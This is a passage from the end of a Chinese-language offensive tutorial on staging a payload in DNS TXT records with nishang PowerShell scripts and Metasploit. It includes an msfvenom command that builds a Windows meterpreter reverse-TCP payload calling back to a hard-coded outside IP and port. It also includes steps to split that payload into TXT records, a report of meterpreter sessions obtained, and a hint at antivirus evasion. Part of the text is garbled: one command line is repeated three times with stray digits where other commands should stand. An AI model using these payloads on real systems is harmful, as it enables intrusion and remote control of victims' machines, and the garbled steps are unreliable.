参数说明, Shelldomain 为创建txt记录的域名或子域名; subdomains 为创建TXT域名的个数,如上面所创建的为3; AUTHNS 为域的权威名称服务器,如我使用的狗爹,所以AUTHNS为f1g1ns2.dnspod.net
在32位win7上执行:
PS C:/Users/evi1cg/Desktop> . ./Execute-Code.ps1
成功获取meterpreter会话:

64位的请自行修改payload及脚本。
0x04 补充
Metasploit中已经含有此脚本 dns_txt_query_exec.rb ,此脚本查询TXT记录的顺序为a.domain,b.domain…,下面是一个示例,首先生成payload:
? ~ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt
使用下面的脚本对该文件进行切割:
PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt
0
输出如下:

将这三行分别添加到a.domain,b.domain,c.domain的TXT记录中:

生成exe:
PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt
1
msf开启监听:
PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt
2
运行exe,获得meterpreter:

至于免杀,可以直接生成c格式的shellcode,然后按照 打造免杀payload 来做。
0x05 小结
本文主要介绍一种执行命令的方式以及nishang的脚本使用,希望能对大家有帮助。










